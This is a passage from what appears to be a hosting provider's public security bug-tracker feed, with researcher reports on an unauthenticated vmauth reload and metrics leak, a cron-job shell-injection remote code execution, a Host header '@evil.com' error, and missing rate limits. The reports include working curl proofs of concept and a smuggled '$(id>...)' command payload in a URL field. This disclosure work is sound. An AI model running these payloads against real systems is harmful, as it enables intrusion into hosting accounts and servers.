Service: vmauth v1.137.0
</p>

<p>
Steps to Reproduce / PoC<br />1. Confirm the authentication gate exists on the same host<br />bash<br />curl -sk -o /dev/null -w &#039;%{http_code}\n&#039; \
</p>
<pre class="code">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/</pre>

<p>
Expected:
</p>

<p>
text<br />401<br />This is the control: the root path is protected.
</p>

<p>
2. Confirm /metrics is exempt and leaks internal data<br />bash<br />curl -sk -o /dev/null -w &#039;%{http_code}\n&#039; \
</p>
<pre class="code">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics</pre>

<p>
Expected:
</p>

<p>
text<br />200<br />Leaked data:
</p>

<p>
bash<br />curl -sk <a href="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics" class="urlextern" title="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics"  rel="nofollow">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics</a> \
</p>
<pre class="code">| grep -E &#039;username=|auth.config|tlsCertFile|version=&#039;</pre>

<p>
Observed output includes:
</p>

<p>
text<br />vmauth_user_concurrent_requests_capacity{username=&quot;admin&quot;}     1000<br />vmauth_user_concurrent_requests_capacity{username=&quot;aldjango&quot;}  1000<br />vmauth_user_concurrent_requests_capacity{username=&quot;grafana&quot;}   1000<br />vmauth_user_concurrent_requests_capacity{username=&quot;telegraf&quot;}  1000
</p>

<p>
name=&quot;auth.config&quot;, value=&quot;/etc/vmauth/config.yml&quot;, is_set=&quot;true&quot;<br />name=&quot;tlsCertFile&quot;, value=&quot;/etc/ssl/certs/alwaysdata.org.bundle.pem&quot;, is_set=&quot;true&quot;<br />version=&quot;vmauth-20260227-182711-tags-v1.137.0-0-g2aecca1163&quot;<br />short_version=&quot;v1.137.0&quot;<br />These usernames are not otherwise obtainable without authentication.
</p>

<p>
3. Prove /-/reload is unauthenticated and state-changing<br />Baseline the reload counter:
</p>

<p>
bash<br />curl -sk <a href="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics" class="urlextern" title="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics"  rel="nofollow">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics</a> \
</p>
<pre class="code">| grep vmauth_config_last_reload_total</pre>

<p>
Example:
</p>

<p>
text<br />vmauth_config_last_reload_total 7<br />Send an anonymous reload request:
</p>

<p>
bash<br />curl -sk -X POST <a href="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload" class="urlextern" title="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload"  rel="nofollow">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload</a> Observed:
</p>

<p>
http<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK<br />x-server-hostname: sandbox-fnonnenmacher2<br />content-length: 0<br />Re-read the counter:
</p>

<p>
bash<br />curl -sk <a href="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics" class="urlextern" title="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics"  rel="nofollow">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics</a> \
</p>
<pre class="code">| grep vmauth_config_last_reload_total</pre>

<p>
Observed:
</p>

<p>
text<br />vmauth_config_last_reload_total 8<br />Delta: 1
</p>

<p>
Repeat:
</p>

<p>
bash<br />curl -sk -X POST <a href="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload" class="urlextern" title="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload"  rel="nofollow">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload</a> curl -sk <a href="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics" class="urlextern" title="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics"  rel="nofollow">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics</a> \
</p>
<pre class="code">| grep vmauth_config_last_reload_total</pre>

<p>
Observed:
</p>

<p>
text<br />vmauth_config_last_reload_total 9<br />Delta: 1
</p>

<p>
The counter advanced from 7 → 34 across repeated passes, always by exactly 1 per anonymous POST.
</p>

<p>
4. Control: sibling admin endpoint is correctly gated<br />bash<br />curl -sk -X POST <a href="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/quit" class="urlextern" title="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/quit"  rel="nofollow">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/quit</a> Observed:
</p>

<p>
http<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 401 Unauthorized<br />Www-Authenticate: Basic realm=&quot;Restricted&quot;<br />Counter delta: 0
</p>

<p>
This proves /-/reload is an omission, not a design where all admin routes are open.
</p>

<p>
5. Additional unauthenticated pprof exposure<br />bash<br />curl -sk <a href="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/debug/pprof/cmdline" class="urlextern" title="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/debug/pprof/cmdline"  rel="nofollow">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/debug/pprof/cmdline</a> Observed:
</p>

<p>
text<br />/usr/bin/vmauth -envflag.enable<br />The full pprof surface is exposed, including:
</p>

<p>
/debug/pprof/
</p>

<p>
/debug/pprof/cmdline
</p>

<p>
/debug/pprof/heap?debug=1
</p>

<p>
/debug/pprof/allocs?debug=1
</p>

<p>
/debug/pprof/goroutine?debug=2
</p>

<p>
/debug/pprof/trace?seconds=1
</p>

<p>
Impact<br />1. Unauthenticated administrative action<br />An anonymous Internet client can force the authentication proxy to reload its configuration. /-/reload is an administrative operation and must not be triggerable without credentials.
</p>

<p>
2. Potential full authentication bypass if chained<br />/-/reload re-reads /etc/vmauth/config.yml. If any other bug, misconfiguration, deployment pipeline, or local file-write primitive allows influencing that file, this endpoint provides the unauthenticated trigger that makes vmauth adopt the attacker’s policy. That would convert a write-only primitive into full authentication bypass for the internal monitoring backend.
</p>

<p>
No such config-write primitive was found during this assessment, so the finding is not rated Critical on its own.
</p>

<p>
3. Internal information disclosure<br />/metrics and pprof leak:
</p>

<p>
Internal service-account names: admin, aldjango, grafana, telegraf
</p>

<p>
Configuration file path: /etc/vmauth/config.yml
</p>

<p>
<acronym title="Transport Layer Security">TLS</acronym> certificate path: /etc/ssl/certs/alwaysdata.org.bundle.pem
</p>

<p>
Exact vmauth version and Go runtime version
</p>

<p>
Process command line: /usr/bin/vmauth -envflag.enable
</p>

<p>
Heap, allocs, goroutine, mutex, and trace profiling data<br />
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/519</link>
      <guid>https://security.alwaysdata.com/task/519</guid>
    </item>
        <item>
      <title>FS#518: Remote Code Execution</title>
      <author>Siddharth</author>
      <pubDate>Mon, 05 Oct 2026 08:54:58 +0000</pubDate>
      <description><![CDATA[
<h3 id="titlecron_type_urls_accepts_single-quote_in_url_argument_shell_injection_remote_code_execution">Title: Cron TYPE_URLS Accepts Single-Quote in URL Argument — Shell Injection → Remote Code Execution</h3>
<div class="level3">

</div>

<h3 id="severitycritical">Severity: Critical</h3>
<div class="level3">

</div>

<h3 id="summary">Summary</h3>
<div class="level3">

<p>
 The cron job feature&#039;s TYPE_URLS type is documented as accepting &quot;a list of URLs to request&quot; — it is designed to fetch URLs via curl, not execute arbitrary shell commands (TYPE_COMMAND exists for that). However, the <acronym title="Application Programming Interface">API</acronym> accepts a single-quote &#039; character inside the <acronym title="Uniform Resource Locator">URL</acronym> argument without rejection. By injecting &#039;$(cmd)&#039; into the <acronym title="Uniform Resource Locator">URL</acronym>, the shell quoting is broken and cmd executes as a real command on alwaysdata&#039;s jobs server under the account&#039;s UID.
</p>

</div>

<h3 id="steps_to_reproduce">Steps to Reproduce</h3>
<div class="level3">
<pre class="code">

Prerequisites: Any alwaysdata account (free plan). API token from https://admin.alwaysdata.com/token/.

Step 1 — Write payload to file (prevents local shell expansion):
cat &gt; /tmp/job.json &lt;&lt; &#039;EOF&#039;
{
  &quot;type&quot;: &quot;TYPE_URLS&quot;,
  &quot;argument&quot;: &quot;http://x.com/&#039;$(id&gt;/home/YOUR_ACCOUNT/www/rce_proof.txt)&#039;&quot;,
  &quot;date_type&quot;: &quot;FREQUENCY&quot;,
  &quot;frequency&quot;: 1,
  &quot;frequency_period&quot;: &quot;minute&quot;
}
EOF

Step 2 — Create the malicious cron job:
curl -u &quot;YOUR_API_TOKEN account=YOUR_ACCOUNT:&quot; \
  -X POST &quot;https://api.alwaysdata.com/v1/job/?format=json&quot; \
  -H &quot;Content-Type: application/json&quot; \
  -d @/tmp/job.json \
  -w &quot;\nHTTP STATUS: %{http_code}\n&quot;
Expected: HTTP STATUS: 201 — single-quote inside the URL is accepted with no error.

Step 3 — Wait up to 60 seconds for the cron to fire.

Step 4 — Verify RCE:
curl https://YOUR_ACCOUNT.alwaysdata.net/rce_proof.txt
Expected output:
uid=XXXXXX(YOUR_ACCOUNT) gid=XXXXXX(YOUR_ACCOUNT) groups=XXXXXX(YOUR_ACCOUNT)
This file was created by the injected id command running on alwaysdata&#039;s server.

Step 5 — Clean up:
# Get JOB_ID from the Step 2 response header Location or re-list jobs:
curl -u &quot;YOUR_API_TOKEN account=YOUR_ACCOUNT:&quot; \
  &quot;https://api.alwaysdata.com/v1/job/?format=json&quot;

curl -u &quot;YOUR_API_TOKEN account=YOUR_ACCOUNT:&quot; \
  -X DELETE &quot;https://api.alwaysdata.com/v1/job/JOB_ID/?format=json&quot;

</pre>

</div>
]]></description>
      <link>https://security.alwaysdata.com/task/518</link>
      <guid>https://security.alwaysdata.com/task/518</guid>
    </item>
        <item>
      <title>FS#517: 500 ISE via Host Header @ Injection on /password/lost/ (CVSS 3.3 Low)</title>
      <author>Aditya Hadipratama</author>
      <pubDate>Sun, 04 Oct 2026 09:03:55 +0000</pubDate>
      <description><![CDATA[
<p>
## Summary
</p>

<p>
Injecting @ into the Host header (Host: admin.alwaysdata.com@evil.com) triggers an unhandled <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 500 Internal Server Error on /password/lost/. Standard Host values work correctly.
</p>

<p>
Severity: Low (CVSS 3.3) | CWE-20 (Improper Input Validation)<br />CVSS: AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
</p>

<p>
## Reproduce<br />Raw TCP/<acronym title="Transport Layer Security">TLS</acronym> request:
</p>

<p>
Host: admin.alwaysdata.com@evil.com GET /password/lost/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1
</p>

<p>
Response: <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 500 Internal Server Error
</p>

<p>
Normal Host: admin.alwaysdata.com returns <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200.
</p>

<p>
## Evidence<br />- @-injection in Host header triggers 500 ISE<br />- Clean Host value returns 200 (no issue)<br />- No data leakage in error response observed
</p>

<p>
## Impact<br />Indicates Host header input reaches internal processing (likely <acronym title="Uniform Resource Locator">URL</acronym> building for reset links) without sanitization. Low severity as no data leakage or privilege escalation was demonstrated.
</p>

<p>
## Remediation<br />Validate Host header against known-good hostname allowlist at nginx/Django level. Reject requests with malformed Host values (@ symbols, newlines, non-hostname chars) with <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 400.
</p>

<p>
Researcher: adityahadipratama4@gmail.com 
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/517</link>
      <guid>https://security.alwaysdata.com/task/517</guid>
    </item>
        <item>
      <title>FS#516: No Rate Limit on /support/add/ — Support Ticket Spam (CVSS 3.7 Low)</title>
      <author>Aditya Hadipratama</author>
      <pubDate>Sun, 04 Oct 2026 09:03:26 +0000</pubDate>
      <description><![CDATA[
<p>
## Summary
</p>

<p>
POST /support/add/ (authenticated) has no rate limiting. Any user can create unlimited support tickets in rapid succession, flooding alwaysdata&#039;s support team inbox.
</p>

<p>
Severity: Low (CVSS 3.7) | CWE-307<br />CVSS: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
</p>

<p>
## Reproduce<br />1. Log in with any free account<br />2. Fire 20 rapid POSTs to /support/add/ with subject/message fields<br />3. All 20 return <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200 — no 429 triggered
</p>

<p>
## Impact<br />- Staff inbox flooding via ticket spam<br />- Can bury legitimate support requests<br />- Degrades quality of service for legitimate customers
</p>

<p>
## Remediation<br />Limit: 5-10 tickets/hour per user account.
</p>

<p>
Researcher: adityahadipratama4@gmail.com 
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/516</link>
      <guid>https://security.alwaysdata.com/task/516</guid>
    </item>
        <item>
      <title>FS#515: No Rate Limit on /transfer/add/ — Invitation Spam Abuse (CVSS 5.3 Medium)</title>
      <author>Aditya Hadipratama</author>
      <pubDate>Sun, 04 Oct 2026 09:02:58 +0000</pubDate>
      <description><![CDATA[
<p>
## Summary
</p>

<p>
POST /transfer/add/ (authenticated) has no rate limiting. Any free-tier user can spam transfer invitations to arbitrary email addresses, abusing alwaysdata&#039;s invitation email system for harassment.
</p>

<p>
Severity: Medium (CVSS 5.3) | CWE-307<br />CVSS: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
</p>

<p>
## Reproduce<br />1. Log in with any free account<br />2. Fire 30 concurrent POSTs to /transfer/add/ with email=victim@example.com 3. All 30 return <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200 — no throttling triggered
</p>

<p>
## Evidence<br />- 30/30 <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200 (parallel, ~1.55s total)<br />- No 429 even under concurrent load
</p>

<p>
## Impact<br />- Spam victim with unlimited alwaysdata-branded transfer invitation emails<br />- Abuse alwaysdata sending reputation for targeted harassment
</p>

<p>
## Remediation<br />Limit: 5-10 invitations/hour per user + 3/day per target email.
</p>

<p>
Researcher: adityahadipratama4@gmail.com Full <acronym title="Portable Document Format">PDF</acronym> report (4 findings) attached via support ticket.<br />
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/515</link>
      <guid>https://security.alwaysdata.com/task/515</guid>
    </item>
      </channel>
</rss>
